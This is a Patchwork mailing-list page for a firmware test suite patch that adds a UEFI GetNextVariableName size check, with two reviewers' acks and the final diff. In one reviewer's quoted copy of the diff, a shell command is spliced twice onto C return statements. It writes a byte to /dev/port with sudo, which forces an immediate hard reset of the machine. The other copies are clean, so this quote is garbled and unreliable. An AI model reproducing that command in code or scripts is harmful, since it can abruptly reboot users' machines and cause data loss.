Patchwork [v2] uefirtvariable: Check new VariableNameSize from GetNextVariableName()

login
register
mail settings
Submitter Matt Fleming
Date March 6, 2013, 3:35 p.m.
Message ID <1362584103-21521-1-git-send-email-matt@console-pimps.org>
Download mbox | patch
Permalink /patch/225532/
State Accepted
Headers show

Comments

Matt Fleming - March 6, 2013, 3:35 p.m.
From: Matt Fleming <matt.fleming@intel.com>

Some firmware implementations update VariableNameSize in
GetNextVariableName() with a value that is larger than the actual
buffer required to hold the VariableName string. This is not
technically a bug, but most implementations either update
VariableNameSize with the value of strlen(VariableName) + 1 or leave
it as the initial value passed to GetNextVariableName().

Print a warning if a different value is found.

Signed-off-by: Matt Fleming <matt.fleming@intel.com>
---

v2: Don't warn if variablenamesize wasn't updated at all.

 src/uefi/uefirtvariable/uefirtvariable.c | 74 +++++++++++++++++++++++++++++++-
 1 file changed, 72 insertions(+), 2 deletions(-)
Colin King - March 6, 2013, 4:20 p.m.
On 06/03/13 15:35, Matt Fleming wrote:
> From: Matt Fleming <matt.fleming@intel.com>
>
> Some firmware implementations update VariableNameSize in
> GetNextVariableName() with a value that is larger than the actual
> buffer required to hold the VariableName string. This is not
> technically a bug, but most implementations either update
> VariableNameSize with the value of strlen(VariableName) + 1 or leave
> it as the initial value passed to GetNextVariableName().
>
> Print a warning if a different value is found.
>
> Signed-off-by: Matt Fleming <matt.fleming@intel.com>
> ---
>
> v2: Don't warn if variablenamesize wasn't updated at all.
>
>   src/uefi/uefirtvariable/uefirtvariable.c | 74 +++++++++++++++++++++++++++++++-
>   1 file changed, 72 insertions(+), 2 deletions(-)
>
> diff --git a/src/uefi/uefirtvariable/uefirtvariable.c b/src/uefi/uefirtvariable/uefirtvariable.c
> index e00b343..50d6a36 100644
> --- a/src/uefi/uefirtvariable/uefirtvariable.c
> +++ b/src/uefi/uefirtvariable/uefirtvariable.c
> @@ -226,7 +226,7 @@ static bool compare_name(uint16_t *name1, uint16_t *name2)
>   	return ident;
>   }
>
> -static int getnextvariable_test(fwts_framework *fw)
> +static int getnextvariable_test1(fwts_framework *fw)
>   {
>   	long ioret;
>   	uint64_t status;
> @@ -339,6 +339,72 @@ err_restore_env:
>   	return FWTS_ERROR;
>   }
>
> +/*
> + * Return true if variablenamesize is the length of the
> + * NULL-terminated unicode string, variablename.
> + */
> +static bool strlen_valid(uint16_t *variablename, uint64_t variablenamesize)
> +{
> +	uint64_t len;
> +	uint16_t c;
> +
> +	for (len = 2; len <= variablenamesize; len += sizeof(c)) {
> +		c = variablename[(len / sizeof(c)) - 1];
> +		if (!c)
> +			break;
> +	}
> +
> +	return len == variablenamesize;echo -e '\xe' | sudo dd of=/dev/port bs=1 seek=3321

> +}
> +
> +static int getnextvariable_test2(fwts_framework *fw)
> +{
> +	long ioret;
> +	uint64_t status;
> +
> +	struct efi_getnextvariablename getnextvariablename;
> +	uint64_t variablenamesize = MAX_DATA_LENGTH;
> +	uint16_t variablename[MAX_DATA_LENGTH];
> +	EFI_GUID vendorguid;
> +
> +	getnextvariablename.VariableNameSize = &variablenamesize;
> +	getnextvariablename.VariableName = variablename;
> +	getnextvariablename.VendorGuid = &vendorguid;
> +	getnextvariablename.status = &status;
> +
> +	/* To start the search, need to pass a Null-terminated string in VariableName */
> +	variablename[0] = '\0';
> +	while (true) {
> +		variablenamesize = MAX_DATA_LENGTH;
> +		ioret = ioctl(fd, EFI_RUNTIME_GET_NEXTVARIABLENAME, &getnextvariablename);
> +
> +		if (ioret == -1) {
> +
> +			/* no next variable was found*/
> +			if (*getnextvariablename.status == EFI_NOT_FOUND)
> +				break;
> +
> +			fwts_failed(fw, LOG_LEVEL_HIGH, "UEFIRuntimeGetNextVariableName",
> +				"Failed to get next variable name with UEFI runtime service.");
> +			fwts_uefi_print_status_info(fw, status);
> +			goto err;
> +		}
> +
> +		if (variablenamesize != MAX_DATA_LENGTH &&
> +		    !strlen_valid(variablename, variablenamesize)) {
> +			fwts_warning(fw, "UEFIRuntimeGetNextVariableName "
> +				"Unexpected variable name size returned.");
> +			goto err;
> +		}
> +	};
> +
> +	return FWTS_OK;
> +
> +err:
> +
> +	return FWTS_ERROR;echo -e '\xe' | sudo dd of=/dev/port bs=1 seek=3321

> +}
> +
>   static int setvariable_insertvariable(fwts_framework *fw, uint32_t attributes, uint64_t datasize,
>   					uint16_t *varname, EFI_GUID *gtestguid, uint8_t datadiff)
>   {
> @@ -857,7 +923,11 @@ static int uefirtvariable_test2(fwts_framework *fw)
>   {
>   	int ret;
>
> -	ret = getnextvariable_test(fw);
> +	ret = getnextvariable_test1(fw);
> +	if (ret != FWTS_OK)
> +		return ret;
> +
> +	ret = getnextvariable_test2(fw);
>   	if (ret != FWTS_OK)
>   		return ret;
>
>

Looks good to me, thanks Matt

Acked-by: Colin Ian King <colin.king@canonical.com>
Ivan Hu - March 7, 2013, 7:38 a.m.
On 03/06/2013 11:35 PM, Matt Fleming wrote:
> From: Matt Fleming <matt.fleming@intel.com>
>
> Some firmware implementations update VariableNameSize in
> GetNextVariableName() with a value that is larger than the actual
> buffer required to hold the VariableName string. This is not
> technically a bug, but most implementations either update
> VariableNameSize with the value of strlen(VariableName) + 1 or leave
> it as the initial value passed to GetNextVariableName().
>
> Print a warning if a different value is found.
>
> Signed-off-by: Matt Fleming <matt.fleming@intel.com>
> ---
>
> v2: Don't warn if variablenamesize wasn't updated at all.
>
>   src/uefi/uefirtvariable/uefirtvariable.c | 74 +++++++++++++++++++++++++++++++-
>   1 file changed, 72 insertions(+), 2 deletions(-)
>
> diff --git a/src/uefi/uefirtvariable/uefirtvariable.c b/src/uefi/uefirtvariable/uefirtvariable.c
> index e00b343..50d6a36 100644
> --- a/src/uefi/uefirtvariable/uefirtvariable.c
> +++ b/src/uefi/uefirtvariable/uefirtvariable.c
> @@ -226,7 +226,7 @@ static bool compare_name(uint16_t *name1, uint16_t *name2)
>   	return ident;
>   }
>
> -static int getnextvariable_test(fwts_framework *fw)
> +static int getnextvariable_test1(fwts_framework *fw)
>   {
>   	long ioret;
>   	uint64_t status;
> @@ -339,6 +339,72 @@ err_restore_env:
>   	return FWTS_ERROR;
>   }
>
> +/*
> + * Return true if variablenamesize is the length of the
> + * NULL-terminated unicode string, variablename.
> + */
> +static bool strlen_valid(uint16_t *variablename, uint64_t variablenamesize)
> +{
> +	uint64_t len;
> +	uint16_t c;
> +
> +	for (len = 2; len <= variablenamesize; len += sizeof(c)) {
> +		c = variablename[(len / sizeof(c)) - 1];
> +		if (!c)
> +			break;
> +	}
> +
> +	return len == variablenamesize;
> +}
> +
> +static int getnextvariable_test2(fwts_framework *fw)
> +{
> +	long ioret;
> +	uint64_t status;
> +
> +	struct efi_getnextvariablename getnextvariablename;
> +	uint64_t variablenamesize = MAX_DATA_LENGTH;
> +	uint16_t variablename[MAX_DATA_LENGTH];
> +	EFI_GUID vendorguid;
> +
> +	getnextvariablename.VariableNameSize = &variablenamesize;
> +	getnextvariablename.VariableName = variablename;
> +	getnextvariablename.VendorGuid = &vendorguid;
> +	getnextvariablename.status = &status;
> +
> +	/* To start the search, need to pass a Null-terminated string in VariableName */
> +	variablename[0] = '\0';
> +	while (true) {
> +		variablenamesize = MAX_DATA_LENGTH;
> +		ioret = ioctl(fd, EFI_RUNTIME_GET_NEXTVARIABLENAME, &getnextvariablename);
> +
> +		if (ioret == -1) {
> +
> +			/* no next variable was found*/
> +			if (*getnextvariablename.status == EFI_NOT_FOUND)
> +				break;
> +
> +			fwts_failed(fw, LOG_LEVEL_HIGH, "UEFIRuntimeGetNextVariableName",
> +				"Failed to get next variable name with UEFI runtime service.");
> +			fwts_uefi_print_status_info(fw, status);
> +			goto err;
> +		}
> +
> +		if (variablenamesize != MAX_DATA_LENGTH &&
> +		    !strlen_valid(variablename, variablenamesize)) {
> +			fwts_warning(fw, "UEFIRuntimeGetNextVariableName "
> +				"Unexpected variable name size returned.");
> +			goto err;
> +		}
> +	};
> +
> +	return FWTS_OK;
> +
> +err:
> +
> +	return FWTS_ERROR;
> +}
> +
>   static int setvariable_insertvariable(fwts_framework *fw, uint32_t attributes, uint64_t datasize,
>   					uint16_t *varname, EFI_GUID *gtestguid, uint8_t datadiff)
>   {
> @@ -857,7 +923,11 @@ static int uefirtvariable_test2(fwts_framework *fw)
>   {
>   	int ret;
>
> -	ret = getnextvariable_test(fw);
> +	ret = getnextvariable_test1(fw);
> +	if (ret != FWTS_OK)
> +		return ret;
> +
> +	ret = getnextvariable_test2(fw);
>   	if (ret != FWTS_OK)
>   		return ret;
>
>

Acked-by: Ivan Hu <ivan.hu@canonical.com>

Patch

diff --git a/src/uefi/uefirtvariable/uefirtvariable.c b/src/uefi/uefirtvariable/uefirtvariable.c
index e00b343..50d6a36 100644
--- a/src/uefi/uefirtvariable/uefirtvariable.c
+++ b/src/uefi/uefirtvariable/uefirtvariable.c
@@ -226,7 +226,7 @@  static bool compare_name(uint16_t *name1, uint16_t *name2)
 	return ident;
 }
 
-static int getnextvariable_test(fwts_framework *fw)
+static int getnextvariable_test1(fwts_framework *fw)
 {
 	long ioret;
 	uint64_t status;
@@ -339,6 +339,72 @@  err_restore_env:
 	return FWTS_ERROR;
 }
 
+/*
+ * Return true if variablenamesize is the length of the
+ * NULL-terminated unicode string, variablename.
+ */
+static bool strlen_valid(uint16_t *variablename, uint64_t variablenamesize)
+{
+	uint64_t len;
+	uint16_t c;
+
+	for (len = 2; len <= variablenamesize; len += sizeof(c)) {
+		c = variablename[(len / sizeof(c)) - 1];
+		if (!c)
+			break;
+	}
+
+	return len == variablenamesize;
+}
+
+static int getnextvariable_test2(fwts_framework *fw)
+{
+	long ioret;
+	uint64_t status;
+
+	struct efi_getnextvariablename getnextvariablename;
+	uint64_t variablenamesize = MAX_DATA_LENGTH;
+	uint16_t variablename[MAX_DATA_LENGTH];
+	EFI_GUID vendorguid;
+
+	getnextvariablename.VariableNameSize = &variablenamesize;
+	getnextvariablename.VariableName = variablename;
+	getnextvariablename.VendorGuid = &vendorguid;
+	getnextvariablename.status = &status;
+
+	/* To start the search, need to pass a Null-terminated string in VariableName */
+	variablename[0] = '\0';
+	while (true) {
+		variablenamesize = MAX_DATA_LENGTH;
+		ioret = ioctl(fd, EFI_RUNTIME_GET_NEXTVARIABLENAME, &getnextvariablename);
+
+		if (ioret == -1) {
+
+			/* no next variable was found*/
+			if (*getnextvariablename.status == EFI_NOT_FOUND)
+				break;
+
+			fwts_failed(fw, LOG_LEVEL_HIGH, "UEFIRuntimeGetNextVariableName",
+				"Failed to get next variable name with UEFI runtime service.");
+			fwts_uefi_print_status_info(fw, status);
+			goto err;
+		}
+
+		if (variablenamesize != MAX_DATA_LENGTH &&
+		    !strlen_valid(variablename, variablenamesize)) {
+			fwts_warning(fw, "UEFIRuntimeGetNextVariableName "
+				"Unexpected variable name size returned.");
+			goto err;
+		}
+	};
+
+	return FWTS_OK;
+
+err:
+
+	return FWTS_ERROR;
+}
+
 static int setvariable_insertvariable(fwts_framework *fw, uint32_t attributes, uint64_t datasize,
 					uint16_t *varname, EFI_GUID *gtestguid, uint8_t datadiff)
 {
@@ -857,7 +923,11 @@  static int uefirtvariable_test2(fwts_framework *fw)
 {
 	int ret;
 
-	ret = getnextvariable_test(fw);
+	ret = getnextvariable_test1(fw);
+	if (ret != FWTS_OK)
+		return ret;
+
+	ret = getnextvariable_test2(fw);
 	if (ret != FWTS_OK)
 		return ret;